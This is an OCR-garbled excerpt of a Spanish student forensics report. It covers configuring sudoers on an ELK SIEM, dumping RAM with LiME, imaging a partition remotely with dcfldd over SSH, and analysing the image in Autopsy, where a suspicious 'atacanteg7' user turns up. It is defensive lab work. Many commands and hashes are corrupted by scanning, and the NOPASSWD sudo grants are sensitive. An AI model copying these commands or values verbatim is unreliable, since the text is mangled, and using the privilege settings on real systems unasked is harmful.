atacanteg7@ml: ~% sudo systemctl stop elasticsearch
[sudo] password for atacanteg7?:

atacanteg?7 is not in the sudoers file.

atacanteg7ml: ~% sudo systemctl start elasticsearch
[sudo] password for atacanteg?:

atacanteg?7 1is not in the sudoers file.
atacanteg7@l:~% sudo systemctl start kibana

[sudo] password for atacanteg7?:

atacanteg?7 is not in the sudoers file.

Como se observa el superusuario creado solo nos permite hacer cualquier cambio
dentro del entorno del SIEM para poder hacerlo desde el servidor de Ubuntu hay que

configurar sudoers, para ello ingresamos con la cuenta elk

Agregamos esta linea de comando

atacanteg7 ALL=(ALL) NOPASSWD: /bin/systemctl start kibana,
/bin/systemctl stop kibana, /bin/systemctl start elasticsearch,

/bin/systemctl stop elasticsearch

Figura 126

Configuracion de sudoers en ELK

LL) NOPASSWD: fusr/Bin/dcflad, \
systenctl stop elasticsearch, \
systenctl stop kibana, \
systemctl stop logstash, \

L start elasticsearch, \
L start kiban \

atacanteg? ALL«{ALL) NOPASSMD: /bin/systemctl start Kidama, /bin/systemctl stop kibama, /Bin/systemctl start elasticsearch, /bin/systesct]l stefl
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Guardamos y volvemos a ejecutar los comandos

Figura 127
Nuevo reinicio de Kibana y Elasticsearch

91:-% sudo systemctl stop kibana
i1:~$ sudo systemctl stop elasticsearch

C @l:~$ sudo systemctl start kibana
atacanteg :~$ sudo systemctl start elasticsearch

Como observamos con el usuario creado desde HYDRA ya podemos hacer

cualquier cambio dentro del servidor y dentro del SIEM.

Figura 128

Nueva verificacion del SIEM

Welcome to Elastic

An unexpected authentication ermor occurred. Please log

Iry @gain

Lisermadme

elastic

Password

L aeseeseeed

Analisis Forense

Iniciamos el andlisis forense verificando fisicamente los logs en el SIEM para

posteriormente sacar imagenes forenses de la RAM de la particién que nos interesa.

81
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En KIBANA revisamos el estado del equipo los logs que ya tenemos en nuestro

SIEM

Figura 129

Revision de estado del equipo en Elastic

Tenemos diversos tipos de logs, entre ellos se puede evidenciar ingresos fallidos,

incidentes de seguridades, incidentes por ssh, Grupos de usuarios etc.

Figura 130

Constatacion de distintos tipos de logs en Elastic
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También podemos evidenciar registros exitosos.

Adicional a esto también podemos verificar los accesos por medio de mapas, en

este apartado podemos determinar de donde provienen las peticiones al SIEM.

Figura 131

Verificacion de accesos por medio de mapas

® elastic
o 1 event dutaset “threatinted ) {atre E
FRANCE ' o rbe wia s
TTALY - sutcana P 2
0 hEYTS
@ s SPAIN Ghgucs TuRNKEY TASIST AN SOUTH
- OmeA xOREA
UNTEA prmA AN .
MORDCCD PONTAN PANISTAN
P nPAL
ALarma UNA  poyrr | SAUCH
.o cusA e IND2A e
ALY, Araa Duas ADS
aasen -
SUATIMALA sanTeAL A CHAD  simar v . PHILIPPINES
SutNEA THIOF
PANAMA  bipegal ST SA5 LANEA
COLOMBIA - GUYANA umenia camenoce MALATTIA
_— DEMOCRATIC NENTA
7 REPUBLIC OF INDONESIA
s THE CONGO
BRAZIL
ZaammiA
BOLIVEA
wazauRUE
rARAGUAY R v
Aus

SOUTH

AFRICA
ARGENTINA o

Para realizar el volcado de la memoria en tiempo real con el equipo en ejecucion

procedemos a instalar LIME, nos descargamos de:

Figura 132
Descarga de LIME desde GitHub

Pricing

Emterprise

Insigine
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Desde el repositorio nos descargamos los binarios de LIME

Figura 133

Descarga de binarios de LIME

rating
ounting obj

Compre
Total

g : 18
:~% sudo apt
et instal
rd for elk:
Security. U.C | noble urity InRelease
ifacts.ela cO ¢ } pt stable In
nob ]
ibuntu noble-updat Inkelease [126 kB]
untu noble-backports InRelease [126 kB]

Reconstruimos el binario para poder instalar

Figura 134

Reconstruccion del binario para instalacion de LIME

R |

Volcar localmente y después enviarlo por SCP (seguro)

Volcar la RAM en ELK:
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sudo insmod ./lime.ko "path=/tmp/memdump.lime format=lime"

Figura 135

Volcado de RAM en ELK

$ sudo insmod ./lime.ko “path=/tmp/memdump.lime format=1lime"

Enviar el archivo a Kali:

Desde el SIEM ELK ejecutamos:

scp /tmp/memdump.lime kali@192.168.100.15:/home/kali/

Figura 136

Envio de archivo a Kali

Avance de la transferencia del archivo .lime

Figura 137

Transferencia de archivo .lime

Transferencia terminada con éxito
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Figura 138

Transferencia terminada con éxito

10@% GIaTMBE

Fecha de la imagen extraida, también se puede utilizar la RAM de la maquina virtual

pero en nuestro caso estamos simulando un escenario real

Figura 139

Fecha de la imagen extraida

30dd3acT-fead-d9ac-Tedd- ceB9Tdad dbf vmem 30M1/2025 1%59 hrchive VIMEM £.356.992 KB

= hash-memdump.txt

memdump.lime

Al analizar el archivo extraido verificamos que no obtuvimos mucha informacion por
lo que se procede a extraer la imagen forense por red utilizando el comando dcfidd

“dcfldd es una versién mejorada del comando dd de Linux disehada para el analisis
forense digital, que ofrece funciones como "hashing on-the-fly" (calculo de hashes
simultaneo a la transferencia) para asegurar la integridad de los datos, salidas multiples y a
distintos destinos, y la capacidad de verificar la imagen o el borrado de un disco. También
proporciona informacién de progreso detallada y una mayor eficiencia de transferencia al

utilizar un tamafio de bloque predeterminado mas grande que dd.

Caracteristicas clave de dcfldd:

Hashing on-the-fly:
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Calcula valores de hash (como MD5 o SHA) de los datos mientras se copian o se

procesan, garantizando que la imagen o el borrado no se alteren.

Verificacion de imagen/borrado:

Permite verificar que una unidad de destino sea un duplicado exacto (bit a bit) de un

archivo o patron de entrada.

Salidas multiples:

Puede enviar la salida a varios archivos o discos simultaneamente.

Salidas divididas (Split Output):

Divide la salida en multiples archivos con mas opciones de configuracion que el

comando split.

Salida de estado y registro:

Proporciona una salida de progreso que muestra la cantidad de datos transferidos y

el tiempo estimado restante, con la posibilidad de dirigir los logs y la salida a otros

comandos.

Borrado de discos:

Facilita el borrado rapido y seguro de discos utilizando un patrén conocido, si se

especifica.

Mayor eficiencia:
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Utiliza un tamano de bloque de 32 KiB por defecto, mucho mas grande que el de 512

bytes de dd, lo que mejora significativamente el rendimiento.

Propésito:

dcfldd es una herramienta esencial para los profesionales de informatica forense y
seguridad, ya que su disefio se enfoca en la confiabilidad y en la integridad de los datos

durante la adquisicion de imagenes de discos duros y otras operaciones de copia.”

Realizamos la extraccién de la imagen forense solo de la particion donde se
encuentran todos los logs de ELKSTACK ya que si obtenemos la imagen forense de todo el
disco es demasiado grande por ello optamos por extraer la imagen solo de la particion que

nos interesa para su analisis

Nos conectamos al servidor via ssh

Figura 140

Conexion al servidor SSH desde Kali

elka192.168.100.103
1k3192.168.100.103"'s password:
elcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-79-generic x86_64)

* Documentation: https://help.ubuntu.com
*+ Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of jue @4 sep 2025 22:52:20 UTC

System load: 2.23

Usage of /: 83.6% of 23.45GB

Memory usage: 79%

Swap usage: 33%

Processes: 256

Users logged in: 1

IPv& address for ens33: 192.168.100.103

IPv6 address for ens33: 2800:bf0:37¢4:1038:20c:29ff:feb64: 6481
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Con el comando sudo visudo procedemos a configurar nuestro SIEM para que no

nos pida la contrasefia al momento de realizar la imagen forense

Ingresamos al archivo de configuracién

Figura 141

Ingreso al archivo de configuracion en Kali

elkai:~$ sudo visudo]

Agregamos las siguientes lineas de comando:

Defaults:elk !requiretty

Defaults:elk l!use pty

elk ALL=(ALL) NOPASSWD: /usr/bin/dcfldd, \
/bin/systemctl stop elasticsearch, \
/bin/systemctl stop kibana, \
/bin/systemctl stop logstash, \
/bin/systemctl start elasticsearch, \
/bin/systemctl start kibana, \

/bin/systemctl start logstash

Figura 142

Configuraciones del archivo en Kali
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GNU nano 7.2 /etc/sudoers.tmp

root ALL=(ALL:ALL) ALL

padmin ALL=(ALL) ALL

%sudo ALL=(ALL:ALL) ALL

@includedir /etc/sudoers.d

Defaults:elk !requiretty

Defaults:elk !use_pty

elk ALL=(ALL) NOPASSWD: Jusr/bin/dcfldd, \
/bin/systemctl stop elasticsearch, \
/bin/systemctl stop kibana, \
/bin/systemctl stop logstash, \
/bin/systemctl start elasticsearch, \
/bin/systemctl start kibana, \
/bin/systemctl start logstash

Guardamos y desde el host de Kali procedemos a crear la imagen forense

Primero procedemos a instalar dcfldd en el SIEM y en Kali para poder sacar la

imagen forense en caliente.

Figura 143

Instalacion de dcfldd en el SIEM

0 apt update

astic 8. x/ stable InRel

ubuntu.« L 1 L€ cl i nRelease

rity.ubuntu.« 1 ty/f 2 Metadata [9.448 B]
curity.ubuntu.co ntu ] i f Metadata [19,&8 kB]

f Metadata [15,7 kB]
c-n=-f Metadata [31,4 kB]

Una vez instalado ejecutamos el siguiente comando desde el host de kali

sudo ssh elk@192.168.100.71 "sudo /usr/bin/dcfldd
if=/dev/mapper/ubuntu--vg-ubuntu--1v bs=8M hash=md5 hashwindow=2G

hashlog=/tmp/hashes remotos.txt" | sudo dcfldd
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of=/media/kali/RESPALDOS/IMAGEN-FORENCE-PBL-VM/elk var particion.dd bs=8M

status=progress

Este comando nos permite sacar la imagen a un disco externo debido a que no hay
espacio en el host de KALI, tomando en cuenta la integridad de la imagen y la linea de

tiempo

Figura 144

Extraccion de la imagen a un disco externo

Verificamos que se crea la imagen elk_var_particion.dd y pesa 98.3GB

Figura 145

Verificacion de creacion de la imagen elk_var_particion.dd

elka192.168.100.71 "sudo /usr/bin/dcfldd if=/dev/mapper/ubuntu--vg-ubunt
otos.txt" ¢ of=/media/kali/RESPALDOS/IMAGEN-FORENCE-PBL-VM/elk_var_partic
[sudo] contrasena para kali:
The authenticity of host '192.168.100.71 (192.168.100.71)' can't be established.
ED25519 key fingerprint is SHA256:q932ZwwWxn/rkN1QBK19Gny2CohwhTFVRTwEro63LADAK.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.71' (ED25519) to the list of known hosts.

elkp192.168.100.71"'s password:
12288 blocks (98304Mb) written.
1254341 records in
1254341 records out

0+1990484 records in
041990484 records out

Fecha de creacion de la imagen Forense
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Figura 146

Fecha de creacién de imagen forense

LDOS (1) » IMAGEN-FORENCE-PBL-VM

Nombre Fecha de modificacion  Tipo Tamario
| | elk_var_particion.dd 1/12/2025 20:10 Archivo DD 02.736.35...
=| hashes_remotos.tit 1/12/2025 20:13 Documento de te... 3KB

Este comando dcfldd nos permite extraer los SHA256 al mismo tiempo, procedemos

a realizar la copia del archivo que contiene los HASH y lo pasamos al equipo de Kali.

scp e1k@192.168.100.71:/tmp/hashes remotos.txt

/media/kali/RESPALDOS/IMAGEN-FORENCE-PBL-VM/hashes remotos.txt

Figura 147

Extraccion de hashes SHA256 con dcfldd

elkd192.168.100.71: /tmp/hashes_remotos.txt /media/kali/RESPALDOS/IMAGEN-FORENCE-PBL-VM/hashes_remotos. txt

The authenticity of host '192,168.100,71 (192.168.100.71)' can't be established.
1025519 key fingerprint is SHA256:q93ZwWxn/rkN10Bk19Gny2C6hwbTFVRTwgro63LAD4K.

This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168,100,71' (ED25519) to the list of known hosts.

elka192,168.100.71's password:

“hashes_remo!os.lxl 100% 2974  597.0K8/s  00:00

Verificamos que en nuestro equipo de KALI tengamos los dos archivos credos, la

imagen forense via red y los HASH extraidos de la imagen forense.
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Figura 148

Verificacion de archivos creados en VM Kali

ir B IMAGERN-FORENCE-BRL-¥M

. m .
lk_var_panicion.dd  hashes_rematos

Los HASHES los va creando conforme va extrayendo la imagen los guarda von el

nombre hashes_remotos.txt y estos son:

0 - 2147483648: ab626758400d367bb5e8£db731c77130

2147483648 - 4294967296: 313cd4ebaf%e5ddf26abbce51c5£d30635
4294967296 - 6442450944: 18fe3ff5296ea23e083ae3471844114e
6442450944 - 8589934592: 85746385429%e83bcce6e98cec9677519
8589934592 - 10737418240: 7d8fcc2495c3f4a8d30fb679celel364f
10737418240 12884901888: 322359849dfa9f06adedadble8be336d
12884901888 15032385536: 0c9cldd470flbeed8cc3elada2527e75
15032385536 17179869184: lec9b7f60eb5el53a7a3aa8168b76cd9
17179869184 19327352832: 9ad44abbbal4d82ad8770adl141d0a2740
19327352832 21474836480: ab4185bc2f62b42e85bfd030£0860fle
21474836480 23622320128: dcdcbdfd3ee53617£639%e67f2caf946b
23622320128 25769803776: 7ff9%ecalb727£9f6cc87b04b6£094553
25769803776 27917287424: 06da341c8c4bc687a3d63924af411b54
27917287424 30064771072: 7f5facd04288£3d243e92f8e87£dd459
30064771072 32212254720: 65429c2£281afl12724c3720118£85b12
32212254720 34359738368: 8aba%0a395af692c7006b6££8£fbdd800
34359738368 36507222016: 91833554£f9f98420ebf1£90391597e9d
36507222016 38654705664: 649d6761423d2b7ec2204£272£3e43a8
38654705664 40802189312: def389ab5ef0e5288e1d3805581ede4d43
40802189312 42949672960: 9257aae8e2022243ea71b453cle838ab
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42949672960 45097156608: 37693acbdfabe56e3b53ce6d2a0c5c90
45097156608 47244640256: 1cc01695692e416587034695943c5a95
47244640256 49392123904: edcd96b9%bafb5el11395812e200b30022d
49392123904 51539607552: 3c135£84194118d5049d8e357054113d
51539607552 53687091200: 3542dc37abca85£48b59018ef7c09£82
53687091200 55834574848: 2c485f2ef5a9288a37917£c88bd2£0b6
55834574848 57982058496: 92d0c3ba8d80£d422875a715985bcbd7
57982058496 60129542144: 3962106bc22126d73457b£fc081£8247a
60129542144 62277025792: a4286098b£f8427ca58£d11940077c£f9c
62277025792 64424509440: 0alfld4458341df6dl16ce2688a09d£f98
64424509440 66571993088: cade8856e5368d80861£62a809fb9f22
66571993088 68719476736: bl227be917eb5030e981108b713ee607
68719476736 70866960384: 746258aeb3b6bf59900e330a50ddf8a3
70866960384 73014444032: £3£90a7£621905353d871dd27d70c180
73014444032 75161927680: 0d6S5alldldaea9f25b457ale6fal37a8l
75161927680 77309411328: 19ead08afd8af05055a39%b7e776£63cC
77309411328 79456894976: 22bbba%a6c6df8619c84dc45a61d8069
79456894976 81604378624: 25fb15be394d8280e4710b24494e00a6
81604378624 83751862272: 806b5cf2a5887d2a£99152161d12cab5a
83751862272 85899345920: 8ba93b6f60e5b5cl6a5c0b633778c70L
85899345920 88046829568: 61335e862df361dbac82b23b9dff3296
88046829568 90194313216: 58£55cle685deb8cbf08f15ebeb77329
90194313216 92341796864: 02136c41lbcb00alca56£37635b£86144
92341796864 94489280512: delb27dbdlf2b526d£5064237d9015eb
94489280512 96636764160: fballec593b988824679clebd0e69d3c
96636764160 98784247808: aB87e976d7548d66a79f8cllc5b8c7aa4d

94

98784247808 - 100931731456: 67220e412a342dd33db6ccded0231dbed

100931731456 - 103079215104: 6da3fe064c38b6a93639%e7eecat84a773c

103079215104 - 105222504448: 1cf0374bf36ffbcbb4884%af5a2532d8

Total (md5): 9371ef96bal0c8783a£7d2c0175802d33
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Procedemos a realizar el analisis forense con las diversas herramientas a la imagen

extraida.

4. Analisis Forense De La Imagen elk_var_particion.dd con Autopsy 4.22.1

Datos Generales de la Evidencia

Nombre del archivo analizado: elk_var_particion.dd

Hash MD5: 9371ef96ba0c8783af7d2c0175802d33

Hash SHA256:

96306eb972ad9d5411e775c6214e37e0607bd371£91d27dfdbf2aa4£0157e70b

Fecha de adquisicion: 02/12/2025

Herramienta utilizada: Autopsy

Analista responsable: grupo?

Como podemos observar el hash MD5 al ser procesado en el repositorio para su

analisis con fecha 02-12-2025 es el mismo que se obtuvo junto con la imagen extraida, esto

nos indica que la linea de tiempo, custodia y procesamiento no han sido corrompidas
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Figura 149

Hash MD5 de elk_var_particion.dd

\IMAGEN-FORENCE-PBL-VM> Certutil SHA256
hash de .\elk var _particion.dd:
96306eb972ad9ds411 14e37ed607bd371f91d27dfdbr2aaate157e76b
Certutil: -hashfile comande completado correctamente.
PS

1efosh
Certutil: -hashfile comand

PS I:\IMAGEN-FORENCE-PBL-WI

Primero cargamos la imagen a AUTOPSY, esta carga va a depender del tamafio de

la imagen forense, escogemos las opciones que necesitamos para el analisis.

Figura 150

Carga de la imagen en Autopsy

M 244 Dats Source E
Sleps Configure Ingest
1. Select Host
2. Select Dasta Source Type Fun mgest modules an:
Tl e v Selech interesting Files sets to enable during ingest:
i' ;if.ﬁglill?:[hur-.e All Files, Disectones, and Unallocated Space - s i
5. Add Data Source v | e [J Cloud Storage
li Recent Activity [ Cwyptocurrency Wallets
B4 Hash Lookup [ Encoyption Programs
k= File Type identification [] Privacy Programs
= Extension Mismatch Detector
= Embedded File Extractor
[ Picture Analyzes
l=_1 Keywird Search
| Email Parser
| Encryption Detection
| B | Jirteresting Files Identifier
[0 Centrai Repository
| Photoflec Canver
[ Virtual Machine Extractor 4 Idertifies interesting iterns as defined by interesting ite..
Gicbal Sethings
SelectAll | Deselect Al =
Mext =

Autopsy va cargando todas los modulos y programas que se encuentran instalados y

ejecutados en la imagen forense.
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Figura 151
Se agrega la fuente en Autopsy
M Add Data Source x
Steps Add Diata Source
1. Select Host
2, Select Data Source Type
3. Select Data Source Processing data source and edding i to & local database. File analysis will start when this finishes.
4. Configure Ingest
5. Add Data Source
1
Status
sAdding:
wsrshare kibeana/nod=_modules” 8 khn/ deta-view-mansgement-plugin’public/ components
edit_index_pattern/scripted _fields table/components
*This process may take sorme time for large data scurces,
Sacamos una imagen del tamano del disco a ser analizado
Figura 152
Extraccion de imagen del disco a analizarse
| Daka Source Mamie & Illgcs‘t Status T:,rpf Fales Artdacts ?;g:

B o v paitscion.dd

05 Driwe [Linux Debian}, 0%

Types  User Activity Anadvess© Recent Files Past Cazes Geolocatien Timeling  Ingest History  Containes

File Types
Mot | [y
! Images: 263
Anabyzed: ¢ — S— 4 :E!m
(381 {015 i
Bocuments:
1 4am
| 68
, {Executables: |
1oAB(ome |
1 Unknowern
;34.91:'9 ﬁ,ﬂﬂ
Cther: ! 1
184,450
7
Alpcated Filess 263,737
Unallocated Files: 117
Slack Files 191.825
Directories: 122,773
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Una vez cargada la imagen forense a nuestro Autopsy abrimos el archivo Databases

y verificamos el HASH con el que fue creada la imagen y esta debe de coincidir con la

extraida manualmente para nuestro registro.

Figura 153

Verificacion de hashes en Autopsy

W ORG-S - datnpay 112
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-----

gt Fryod g Gl T
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Los hashes

MD5

Figura 154

Verificacion de hash MD5 en Autopsy

MDO3 Hash

3aa%alc90al3icBdbelab7347escfelf3

SHA256
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Figura 155

Verificacion de hash SHA256 en Autopsy

5HA-256 Hash

42 eectd3alafecd60bebbb3ff0e? 2b25%b 2 906eddd 2084 d 90654 Sectalif 18

Linea de tiempo del analisis ejecutado

Figura 156

Linea de tiempo de analisis en Autopsy

Linea de tiempo de acuerdo con la fecha establecida

Figura 157

Linea de tiempo segun la fecha establecida en Autopsy

Types User Activily Analysis Recent Files Past Cases Geolocstion Timeline  |ngest History Contsiner
Latest: dic. 1, 2025

Last 30 Days

now, Z, 2025 dic, 1, 2025
B Filz Everits M Rasdt Evants
View in Timeline
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Extraemos una Imagen Forense visible la cual nos indica:

Su Estructura de archivos y metadatos
A la izquierda se ve una jerarquia tipica del sistema de archivos y categorias de

analisis que se detallan:

Deleted Files Nos indica que hay archivos eliminados

MB File Size Nos indica el tamafos de archivos en megabytes

Data Artifacts Nos indica los artefactos de datos, incluyendo metadata

Analysis Results Nos da el resultado del analisis como metadatos EXIF, sospechas

de contenido de usuario, y extensiones con errores)

Esto indica que el sistema esta extrayendo y categorizando informacion relevante de

la imagen elk_var_particion.dd

Analisis del archivo vxlan.jpg:

En el panel derecho, en la parte inferior tenemos "Analysis Results", esto nos

muestra el analisis de un archivo llamado vxlan.jpg.

Se puede visualizar la informacién técnica, como la existencia de metadatos EXIF,

que suelen contener datos sobre cuando y como se tomo la imagen.

También esta resaltado un posible contenido sospechoso ("User Content

Suspected").
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Figura 158

Deteccion de posible contenido sospechoso en Autopsy

i e g 1
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Analisis Forense a /img_elk_var_particion.dd/var/log/apt

Se encontré los comandos ejecutados:

apt-get install make build-essential linux-headers-6.8.0-88-generic git

Requested-By: elk (1000)

Esto significa que el usuario elk (UID 1000) ejecuto:

Make, build-essential, linux-headers-X, git

Esto es tipico de los que quieren compilar algun tipo de software, y compilar algo en

un sistema en produccion puede ser normal o puede ser muy sospechoso dependiendo del

contexto.

¢(ESTO ES MALICIOSO?
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En este caso diremos que por si solo NO es una prueba de ataque, PERO es un
comportamiento caracteristico de malware o rootkits, porque muchos atacantes instalan

exactamente estos paquetes: build-essential, make, gcc, linux-headers, exclusivamente

para poder:
v compilar un rootkit
v compilar un keylogger
v compilar un médulo del kernel
v compilar un backdoor persistente

Como analisis se podria determinar que si el sistema no era usado para desarrollo,

esto es ALTAMENTE sospechoso.

Otro evento relevante se tiene en:

v Start-Date: 2025-12-01 18:24:52

v Commandline: apt install dcfldd

v Requested-By: elk (1000)

v Install: dcfldd:amd64 (1.9.1-1ubuntu2)
v dcfldd: Es una herramienta forense

Esta es una version mejorada de dd creada para imagenes forenses.



Analisis Forense Digital de un SIEM no WAZUH 103

Figura 159

Version mejorada del dd para imagenes forenses
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Como evidencia se encontré el siguiente archivo MB 200BM - 1GB(18) se abrié

_133cfs

Informacion adicional que aparece

192.168.100.15/192.168.100.71 es las direcciones IP de los hosts al que enviaron

logs.

atacanteg7 es probablemente el nombre de usuario o de algun intentando de

autenticarse.
systemd-logind, cron, (sd-pam) son procesos del sistema que generaron eventos.

filebeat, beats_input_codec_plain_applied estos registros nos indican que los

logs fueron enviados a Elasticsearch mediante Filebeat.
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Numeros y cédigos largos

aafc8d365c904676b410afolcbf2507¢c
d008c31b-53ce-4bobc-ablc-90250a450f£36

172211eec75c

Son UUIDs, IDs de eventos o IDs efimeros (ephemeral_id) generados por

Elasticsearch o Logstash para identificar documentos.

No contienen informacion legible directa, pero sirven para trazar eventos en el

indice.

Contiene la estructura de Lucene, metadatos de términos, listas de postings y
referencias a documentos, la informacion legible que si aparece es metadatos de eventos

como usuarios, IPs, procesos, tipos de log y resultados de autenticacion.

No contiene datos sensibles directamente legibles, pero si nombres de usuarios y

eventos que podrian relacionarse con la actividad de un posible atacante.

Figura 160

Verificacion de posibles datos sensibles en imagen
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Al analizar el contenido del archivo unalloc_507208_44182695936_44736446464,
podemos ver varios detalles importantes respecto a usuarios y contrasefias, nombre de

host, version, kernel, plataforma utilizada:

Usuarios detectados

En los logs se identifica un usuario explicito posiblemente un usuario sospechoso:

New 105esién 7 of user atacanteg?

Esto indica que hay un usuario llamado atacanteg? registrado en el sistema, se esta

iniciando una sesién de login para este usuario (via systemd-logind).

Contraseias

En este archivo aun no hay evidencia de contrasefias, los logs del sistema (auth.log,

syslog) no muestran contrasefas por defecto

Solo registran eventos de autenticacion, inicios de sesion, IDs de sesién, usuarios y

terminales.

A menos que alguien haya configurado un logging inseguro que es muy raro y

peligroso

Otros datos de usuario / sesion

Se registran datos adicionales del host, kernel, arquitectura:

v Platform: ubuntu
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v Family: debian

v Name: Ubuntu

4 version: 24.04.3 LTS (Noble Numbat)
v kernel: 6.8.0-88-generic

v codename: noble

v mac: 00-0C-29-4A-2D-BF

v hostname: elk

v name: elk

v architecture: x86_64

Figura 161

Datos adicionales del host en Autopsy
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| Srings Extracted Text  Translstion

Page 365 of 767K Page | | Matches on page 1 of 2 Match » 100% 5 B Reset Text Source: | Search Results -
U T W R U T ST S SN —n
IG5 12T 642 T HM-0500 elk logabash{BECT:  “Gtimmtamp” =+ 2025 12-DITIE TR 30,780,

025120171 31 OTI061-0500 el bogetash9B0)  “message” =3 “2025- 12017131 520.450487-0%00 elk systemc-logindiS76]: Mew session 7 of user stecanteg?,”,

251201 TH 21642 5TI065-0500 elk bagstash|985] “hot” =2 |

J0A8 1201 T 28 0T 3087 -(1:00 sk dngutash|B80) “o5" == |

625-12-0TT1 3 164207350500 elk boguteshi] 953] “hype” = i,

2025-12-01T1 k1642 0T3084-05:00 elk Sogtashigbl: “pletform® = “ubanty”,

512011 21642 0730820500 elk logstash|980] “tamily” =+ “debian’,

025120 T 2 L2 0T 3050500 wik Sogetach|980): “pam” = "Lkunty”

025 13-01T1 3 45k OT3059-0500 elk Sogbashi] 950} “warsion” == “J0k3 LTS {Moble Hunbet)”,

202512 TV 3 62 0731 04-05:00 #fk kogstash{98d}: “kemnel” = ¢ B0 genenc’,

025-12-01 T2 G2 0731070500 ek logstashi98d): ‘codename” &> “nokle

RS20 A2 O7TI11-0%00 elk bogstasn|380) |

S5 1207TT R TR 0731 14=0%00 alk logitinh] R0 e = |

2512077131642 0731 18-05:00 elk logatash{BECT: 10) "00-0C-29-44-20-EF

251201 2 1L 73230500 ek bogstash{DBE: 1

F25: 12-01THE 16420731 25-0500 elk bagstashi 58] Tostname” =3 ek’

J025-11-01T R 542 073 125-0%00 wlk bogtanh|580}: “nama’ = "all", "

Analizando el archivo unalloc 507208 44744835072 45687554048, se puede

confirmar que existen inicios de sesion y contrasefas:
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Creacion de usuario y contrasena:

Se cred un usuario llamado elk con UID 1000 y agregado a varios grupos (adm,

sudo, dip, plugdeyv, Ixd).

La contrasefia del usuario fue cambiada por root inmediatamente, esto se registra en

la fecha

2025-11-28T23:22:16.174039+00:00 elk passwd[1255]: password for 'elk'

changed by 'root'

No se muestra la contrasefa real en los logs, lo cual es normal en sistemas Linux: el

archivo de logs nunca contiene la contrasefia en texto plano.

Inicios de sesion locales y SSH:

El usuario elk abri6 sesion localmente y a través de SSH el:

2025-11-28T23:22:26.589319+00:00 elk login[1433]: pam_unix(login:session):

session opened for user elk(uid=1000) by elk(uid=0)

2025-11-28T23:23:32.446564+00:00 elk sshd[1719]: Accepted password for elk from

192.168.100.15 port 55366 ssh2

Esto confirma inicios de sesion exitosos, tanto locales como remotos, pero sin
exponer contrasefas, el usuario elk ejecuté multiples comandos como root usando sudo,

por ejemplo: apt update, apt install curl, ufw allow 22/tcp, etc.
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Los logs muestran qué comando se ejecutd, quién lo ejecutd, y la sesion de sudo,

pero nunca la contrasefa de sudo en texto plano.

Figura 162

Vista de logs en Autopsy
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Abrimos el archivo unalloc_507208_32619134976_33696092160 y pudimos

detectar que se tiene registros de payloads fallidos de la ip 192.168.100.74 (ubuntu)

Este archivo corresponde a logs de:
Logstash: Procesamiento y recepcion de logs y métricas.
Kibana: Visualizacién y gestién de indices/plugins.

Auditbeat / Syslog / Beats: Ingesta de datos de los agentes hacia Logstash.

Los logs muestran operacién normal en muchos casos, pero también hay alertas y

errores recurrentes.

Anadlisis por componente
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Logstash

Observaciones

Conexion con Elasticsearch

Restored connection to ES instance {:url=>"http://elastic:xxxxxx@localhost:9200/"}

Logstash logra conectarse y enviar datos a Elasticsearch.

Errores de permisos en syslog

syslog listener died {:protocol=>:tcp, :address=>"0.0.0.0:514",

:exception=>#<Errno::EACCES: Permission denied ...>}

syslog listener died {:protocol=>:udp, :address=>"0.0.0.0:514",

:rexception=>#<Errno::EACCES: Permission denied ...>}

Existen Problemas recurrentes:

Logstash no puede abrir el puerto 1024 sin permisos de root, esto afecta la ingestion

de logs via syslog TCP/UDP en el puerto 514.

Logstash esta recibiendo correctamente datos desde Filebeat/Metricbeat.

Métricas internas (RetentionWindow / JVM collectors)

RetentionWindow{policy=current id=...} forced-compaction result
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collector name {:name=>"G1 Young Generation"}

Informacion de debug sobre JVM y métricas internas.

Normal y no critico.

Cgroup warnings

One or more required cgroup files or directories not found: /proc/self/cgroup,

/sys/fs/cgroup/cpuacct, /sys/fs/cgroup/cpu

Logstash no encuentra ciertos cgroups (usualmente en contenedores o VMs

antiguas).

No se detiene la operacion, pero limita las métricas de recursos.

Kibana

Observaciones

APM plugin timeout

TimeoutError: Request timed out

Could not create index template: 'apm-source-map'. Retrying...

Problema recurrente:

Kibana intenta crear la plantilla de indice APM y falla por timeout.
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Posible causa: Elasticsearch muy ocupado o con permisos insuficientes para crear

indices.

Finalmente Kibana se inicia correctamente y esta operativo.

Beats / Syslog Inputs

Los logs muestran que payloads de Beats estan llegando correctamente:

IP local: 192.168.100.71:5044, IP remote: 192.168.100.74:38572] Received a new
payload

Syslog TCP/UDP falla por permisos en el puerto 514.

Tabla 1

Problemas criticos identificados

NAME,"KEYWORD PREVIEW",LOCATION,"MODIFIED TIME","CHANGE
TIME","ACCESS TIME","CREATED
TIME",SIZE,"FLAGS(DIR)","FLAGS(META)",KNOWN,"MD5 HASH","SHA-256
HASH","MIME TYPE",EXTENSION

KIBANA_FRAMEWORK_ADAPTER.JS,"""${C @ }}

ONFIG.METHOD}"" IS NOT AN async","/img_elk var_particion.dd/usr/

A«ACCEPTEDA« METHOD") share/kibana/node_modules/@kbn/me
trics-data-access-
plugin/server/lib/adapters/framework/ki
bana_framework adapter.js","2025-
11-07 08:38:35 ECT","2025-11-28
18:55:03 ECT","2025-12-01 07:41:40
ECT","2025-11-28 18:54:50
ECT" 5289,Allocated,Allocated,unkno
wn,"f4e9a782ffd063df8b99e550f260c2
8a","efeb4b14eb63657a54fe0f262f2d5
86cd3ac416a3d61f38d50ded77dd9b8
47ad" text/javascript,js

SG_DD.8,"NOTRUNC
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THIS CONVERSION IS AcACCEPTEDA« FOR
COMPATIBILITY
WITH","/IMG_ELK_VAR_PARTICION.DD/USR/
SHARE/MAN/MAN8/SG_DD.8.GZ/SG_DD.8","0
000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00",27874,ALLOCATED,ALLOCATED,U
NKNOWN,"CE49F408FA0207A08B5819C2DA
50BAFA","84411B5BD1A11F4184C391B96658
20885A383B3CBC18959E0F0F7224FCD65EF
B",TEXT/PLAIN,8

TEST_FILEDESCRIPTOR.PY,"C{BYTES}
WHICH HAVE BEEN A«<ACCEPTEDA« AS
WRITTEN.

@IVAR","/IMG_ELK_VAR_PARTICION.DD/US
R/LIB/PYTHON3/DIST-
PACKAGES/TWISTED/INTERNET/TEST/TEST
_FILEDESCRIPTOR.PY","2025-08-05 12:14:03
